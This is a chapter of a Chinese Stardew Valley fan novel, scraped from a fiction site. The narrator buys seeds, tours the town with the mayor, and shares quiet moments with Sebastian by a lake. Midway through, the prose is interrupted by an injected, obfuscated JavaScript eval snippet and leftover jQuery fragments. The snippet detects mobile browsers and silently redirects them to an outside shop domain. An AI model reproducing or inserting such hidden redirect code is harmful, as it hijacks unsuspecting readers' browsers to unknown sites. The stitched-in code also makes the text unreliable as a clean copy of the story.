文趣网 > 其他小说 > 谢邀,人在星露谷 > 2. 都是奸商
    我在花园的椅子上坐了很久。

    晨风吹过,带来远处森林里湿润的泥土味,心情舒畅。让我上班的烦躁都少了不少。

    广场上的人渐渐多了起来,一个头发花白的老太太提着菜篮子慢悠悠地走向杂货店,几个孩子在喷泉边追逐打闹,还有个中年男人推着手推车从我身边经过,车上堆满了货物。

    没人注意到我。

    或者说,没人觉得一个陌生人站在这里有什么不对。

    我深吸一口气,把那些乱七八糟的念头压下去。

    要去打招呼吗?

    算了,先办正事。

    我转身推开杂货店的门。

    门铃叮当作响,店里弥漫着干草药和木料混合的气味。

    货架上摆得满满当当,种子袋整齐地码在左手边的木架上,右边是各种农具和日用品。

    柜台后面站着个穿蓝色衬衫的中年男人,鼻梁上架着副眼镜,正低头记账。

    “欢迎光临。”他抬头,说,“啊?新来的农夫?”

    我愣了愣:“你怎么知道……”

    “镇上就这么多口人,”他看了看我,推了推眼镜,“谁不认识谁。你是乔杰老爷子的孙子吧?接手了那个老农场的那位。”

    根据游戏设定……

    “……是我。”

    “我是皮埃尔,这家店的老板。”他终于放下了笔,“需要什么?春季种子在左边架子上,土豆、防风草、花椰菜都有。如果打算养鸡,建议你去玛尼店里面,买点干草,玛尼那边饲料可不便宜。”

    “哦,亲爱的,可千万别去桥那边的joja商场……”

    话音刚落,又进了一个穿着黑西装的中年男人。

    “那个……”

    “大家快来哩……joja超市五折优惠卷大派送啦!”

    他挥了挥手里蓝色的卷,得意的看向皮埃尔:“嗯?有没有人要啊!”

    众人蜂拥而至,瞬间店里面客人全无。

    皮埃尔眉间忧愁:“哎……这价格我可比不了啊!这简直是赔本贱卖!”

    男人上前笑道:“失去了这么忠实的顾客……一定很难受吧。”

    “但这怎么能怪他们呢?”

    “很快,全镇的人都会意识到这一点。”

    男人说完,扬长而去。

    原来游戏里也有商战啊……

    我心底感慨,也准备去joja超市看看。

    五折哎,对于现阶段的我是一个非常友好的好事!

    “等等……农夫!”皮埃尔叫住了我,“您要的种子,我现在给你拿过来了!”

    “呃……”面对突如其来的热情,我后退一步,“我等会再来看看……”

    我去了joja超市,一看天都塌了!

    奸商啊!

    为什么超市里的种子打了五折还是比皮埃尔商店贵啊?!

    到底什么东西打了五折啊?!

    我还是决定去皮埃尔商店买种子。

    见我回到店里,皮埃尔迷之一笑:“欢迎光临,农夫!”

    我尴尬点点头。

    土豆种子五十金币一包,花椰菜八十,青豆六十。

    我算了算背包里的钱,最后拿了两包土豆种子和一包青豆。

    走到柜台前,皮埃尔麻利地结了账。

    “一百六十金币。”他说,“对了,如果以后有收获的作物,可以卖给我,价格公道。”

    我点点头,把种子塞进背包。

    正要离开,皮埃尔又叫住了我。

    “现在时间还早,或许您可以去找刘易斯,让他带你逛一逛。”

    “好的,谢谢!”

    我推开店门,门铃又响了一次。

    广场上的人比刚才更多了些。那个戴棕色帽子的男人站在喷泉边,正跟一个棕发妇女说话。

    妇女手里抱着个纸袋,里面露出几根法棍面包的尖端。他们聊得很投入,直到我走近,男人才注意到我。

    “嘿!谷雨!”他转过身,脸上挂着公式化的笑容,“欢迎来到我们小镇。”

    他伸出手,我握了握。

    他的手很粗糙,掌心有老茧。

    “皮埃尔说您找我?”

    “是的,是的。”刘易斯搓了搓手,“作为镇长,我觉得有必要带你熟悉一下镇子。毕竟你以后要在这里生活,对吧?”

    他说这话的时候,视线在我脸上停留了几秒,我点点头,刘易斯脸上的笑容更灿烂了些。

    “那太好了。来,跟我来。”

    接下来的一个小时,我像个游客一样被刘易斯带着在小镇里转悠。

    “这里是铁匠铺,克林特是这里的老板。如果你有矿石需要冶炼,或者工具需要升级,找他准没错……不过他脾气有点怪,不太爱说话。”

    我们从一栋石砌的建筑前走过,能听见里面传来“叮当、叮当”的打铁声。

    “那边是玛尼的牧场,养牛羊和鸡。玛尼人很好,你要是想养动物,得先建好鸡舍或者畜棚,罗宾可以帮你。”

    罗宾。

    我记下了这个名字。

    “诊所在皮埃尔商店旁边,哈维医生负责。虽然收费不便宜,但医术还不错。哦对了,每周二他会在广场上做免费的健康咨询,你有空可以来看看。”

    我们走过一座小桥,桥下河水潺潺。对岸是那栋造型奇特的塔楼,紫色的瓦片在阳光下泛着诡异的光泽。

    “那是拉斯莫迪斯的塔,”刘易斯压低了声音,似乎格外忌惮对方:“他是个法师,有些……特别的研究。没事最好不要去打扰他。”

    他说话的口气,像是在提醒我离那里远点。

    我们转了一圈,最后又回到了广场。刘易斯站在喷泉边,双手背在身后,摆出一副“我为你操碎了心”的姿态。

    “大致就是这样。鹈鹕镇不大,但该有的都有。”他说,“不过有件事我得提醒你,在这里生活,和邻里搞好关系很重要。”

    我看着他,等他说下去。

    “我们镇上的居民……都很注重传统。”刘易斯斟酌着用词,“比如生日。记住别人的生日,在当天送上祝福或者小礼物,这是基本的礼貌。”

    他顿了顿,视线飘向远处,又收回来。

    “就拿我来说吧,我的生日是春天七日。当然,我不是在暗示什么,只是举个例子。”他清了清嗓子,“其他人的生日,你可以去镇上的布告栏看,那里会贴出来,或者……多跟人聊聊,自然就会知道。”

    春天七日。

    那就是三天后。

    “我明白了。”我说。

    “那就好。”刘易斯满意地点点头,“好了,我就不耽误你的时间了。农场那边还有很多活要干吧?加油,年轻人,乔杰的农场能在你手里重新焕发生机,我想他一定会很高兴的。”

    他拍了拍我的肩膀,转身走了。

    我站在原地,看着他的背影消失在街道拐角。

    太阳已经升得很高了,阳光有些刺眼,我觉得晃眼,抬手遮了遮。

    我找了个长椅坐下,打开背包,土豆种子和青豆种子安静地躺在格子里,旁边是那把破旧的斧头,还有几块木头。

    我拿出水瓶喝了一口,游戏里的水是甜的,带着一股泉水的清冽。

    广场上的人渐渐散了。

    孩子们被大人叫回家吃饭,喷泉边只剩下我一个人,还有几只在地上啄食面包屑的鸽子。

    我靠着长椅,闭上眼睛。

    风里带着花香,还有谁家厨房飘出来的烤面包的香味,远处传来钟声,当当当敲了十二下。

    中午了。

    该回去种地了。

    我站起身,拍了拍裤子上的灰。

    从广场回农场有两条路,一条是来时的那条主路,另一条要穿过小镇西边的树林,稍微绕点远,但据说风景不错。

    我选了树林那条。

    路很窄,两边是高大的橡树和松树,阳光透过树叶洒下来,在地上投出斑驳的光影。

    我走得很慢,边走边清理路边的杂草和石头,这些都是资源,能卖钱,或者留着以后用。

    走到一半的时候,我听见了水声。

    我循着声音拐了个弯,眼前出现了一个小湖,湖水很清,能看见水底的鹅卵石,还有几条鱼悠闲地游来游去。

    湖边的长椅上坐着个人。

    深蓝色的连帽衫,帽子扣在头上,背对着我。

    他弓着背,手肘撑在膝盖上,指间夹着什么,一缕浅淡的烟飘起来,很快被风吹散。

    是塞巴斯蒂安。

    我停下脚步,犹豫着要不要过去。

    打招呼?说什么?

    不打招呼?就这么走过去?

    可镇长才说过要和邻里搞好关系……

    我还在纠结,长椅上的人忽然动了动。他转过头,视线越过肩膀扫了过来。

    四目相对。

    我看见了帽檐下的眼睛,深色的,没什么情绪。

    他看着我,我也看着他,谁都没说话。

    风吹过湖面,带起细小的涟漪,他指间的烟烧出一截灰,掉在地上,碎了。

    “新来的农夫?”

    他先开口了,声音比我想象的要低,带着点沙哑,像是很久没说话。

    我连忙点点头:“对。我叫谷雨。”

    他没接话,又转回头去,看着湖面。

    我也没动,就站在原地,气氛有点尴尬,我想找点话说,可脑子里一片空白。

    最后我说:“这湖挺好看的。”

    塞巴斯蒂安没回头,只是“嗯”了一声。

    又是沉默。

    我站得腿有点酸,正打算说“那我先走了”,他却忽然又开口了。

    “你也抽烟?”

    “不抽。”

    “那最好别抽。”他说,把烟按灭在长椅扶手上,“不是什么好东西。”

    我愣了愣,没想到他会说这个。

    “你……”我顿了顿,“你经常来这儿?”

    “嗯。”

    “喜欢钓鱼?”

    “不。”他顿了顿,“就是……安静。”

    我明白了。

    这地方确实安静,离镇中心远,平时没什么人来,只有风声,水声,偶尔几声鸟叫。

    “那我不打扰你了。”我说。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695717|207988||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他“嗯”了一声,算是回应。

    我转身继续往农场走。走出几步,又忍不住回头看了一眼,他还坐在那儿,背挺直了些,看着湖面,像一尊雕塑。

    感觉他比我还像被压榨的社畜……

    回到农场已经是下午一点多了。

    我饿得肚子咕咕叫,从储物箱里翻出几个昨天捡到的野韭菜,生火做了份简单的沙拉。

    味道不怎么样,但至少能填饱肚子。

    吃完饭,我开始干活。

    新买的土豆种子和青豆种子要种下,昨天砍树留下的树桩要挖掉,杂草也要清理。

    我一口气干到太阳西斜,直起腰的时候,听见自己的骨头“咯哒”响了一声。

    游戏里的体力条快见底了。

    我坐在田埂上休息,看着那十五块整齐的田垄,防风草的嫩芽在晚风里轻轻摇晃,新种的土豆和青豆还没冒头,但泥土已经浇透了水,在夕阳下泛着深褐色的光泽。

    有种奇怪的满足感。

    比在公司做成一单项目还要踏实。

    天色渐暗,我收拾工具回屋。

    走到小木屋门口的时候,下意识地往西边看了一眼,树林那边已经黑黢黢的,什么也看不见。

    我推开门,点燃壁炉,在床边坐下,游戏界面弹出提示,问我要不要保存进度并退出。

    我选了保存,但没退出。

    我在小木屋里坐了一会儿,听着壁炉里木柴燃烧的噼啪声。窗外彻底黑了,星星一颗颗亮起来,很多,很密,比我在城市里见过的任何一次夜空都要清晰。

    我忽然想出去走走。

    夜晚的农场很安静,只有虫鸣,我沿着小路慢慢走,不知不觉又走到了那片树林边。

    月光很亮,把小路照得泛白,我犹豫了一下,还是走了进去。

    夜晚的树林和白天的感觉完全不一样。树影幢幢,风吹过的时候,枝叶摇晃的影子像是活物。

    我有点后悔没带火把,只能借着月光勉强看清脚下的路。

    走到湖边的时候,我愣住了。

    长椅上有人。

    还是那个姿势,弓着背,手肘撑在膝盖上。但这次他没抽烟,只是坐着,仰头看着天空。

    我停住脚步,不知道该进还是该退。

    他却好像听见了动静,转过头来。

    月光照在他脸上,我能看清他的轮廓,还有那双没什么情绪的眼睛。

    “又是你。”他说。

    “……我散步。”我说。

    他没说话,只是往长椅的一侧挪了挪,让出了一点位置。

    我犹豫了一下,走过去坐下。

    长椅是木头的,被夜露浸得有点凉。

    我们之间隔着一个人的距离,不远不近。

    “看星星?”我问。

    “嗯。”

    我也抬起头。星空很美,银河像一条发光的带子横贯天际,我很久没看到这样的星空了。

    现实世界里的城市夜晚,天空是暗红色的,能看见的星星不超过十颗。

    “我住的城市,”我忽然说,“看不到这么多星星。”

    塞巴斯蒂安沉默了一会儿。

    “我哪儿都没去过。”他说。

    这话说得没头没尾,但我听懂了。

    他没离开过星露谷,没离开过鹈鹕镇。他见过的最远的天空,就是这片山谷头顶的这一片。

    “想出去看看吗?”我问。

    他没回答。

    我们就这样坐着,谁也不说话。

    风吹过湖面,带起细碎的水声,远处传来猫头鹰的叫声,咕咕,咕咕,然后又归于寂静。

    “你……”我转过头看他,“白天的时候,为什么在镇上走那么快?”

    塞巴斯蒂安侧过脸,帽檐下的眼睛瞥了我一眼。

    “不喜欢人多。”他说。

    “那你喜欢什么?”

    这个问题好像难住他了。

    他想了很久,久到我以为他不会回答了。

    “青蛙。”他终于说,“电脑游戏,恐怖电影,雨天。”

    “还有这个湖。”他又补了一句。

    我笑了:“就这么点?”

    “够了。”他说。

    我们又坐了一会儿。

    夜风越来越凉,我打了个哆嗦,塞巴斯蒂安注意到了,站起身。

    “该回去了。”他说。

    “嗯。”

    我们并肩往树林外走。月光把我们的影子拉得很长,投在小路上,直到走到岔路口。

    “再见。”我说。

    他点点头,没说话,转身走了。

    我看着他消失在树林深处,然后才往农场的方向走去。回到小木屋,壁炉里的火已经快熄了。

    我添了块木头,在床边坐下。

    退出游戏前,我打开背包看了一眼。

    而后我摘下全息眼镜,现实世界的黑暗涌了过来。

    窗外是城市夜晚永不熄灭的霓虹灯,远处有车流的声音,呜咽着划过夜空。

    我躺在床上,闭上眼睛。

    明天,也许可以带点礼物去。

    送什么好呢?